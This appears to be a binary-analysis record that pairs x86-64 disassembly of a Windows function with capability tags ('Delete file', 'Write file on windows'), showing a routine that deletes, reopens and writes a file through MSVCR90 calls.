mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rax, r12
add rsp, 0x20
pop r13
pop r12
pop rdi
ret
Function at 0x1400022c4
Capabilities:
Delete file
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x20
xor edi, edi
movsxd rsi, r8d
mov rbp, rdx
and qword [rax + 0x20], rdi
mov rbx, rcx
call qword [sym.imp.MSVCR90.dll__wremove]
lea r8, [0x14000577c]
lea rcx, [rsp + 0x48]
mov rdx, rbx
call qword [sym.imp.MSVCR90.dll__wfopen_s]
mov r9, qword [rsp + 0x48]
test r9, r9
je 0x140002333
lea ebx, [rdi + 1]
mov r8, rsi
mov rcx, rbp
mov rdx, rbx
call qword [sym.imp.MSVCR90.dll_fwrite]
mov rcx, qword [rsp + 0x48]
cmp eax, esi
cmove edi, ebx
test rcx, rcx
je 0x140002333
call qword [sym.imp.MSVCR90.dll_fclose]
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov eax, edi
add rsp, 0x20
pop rdi
ret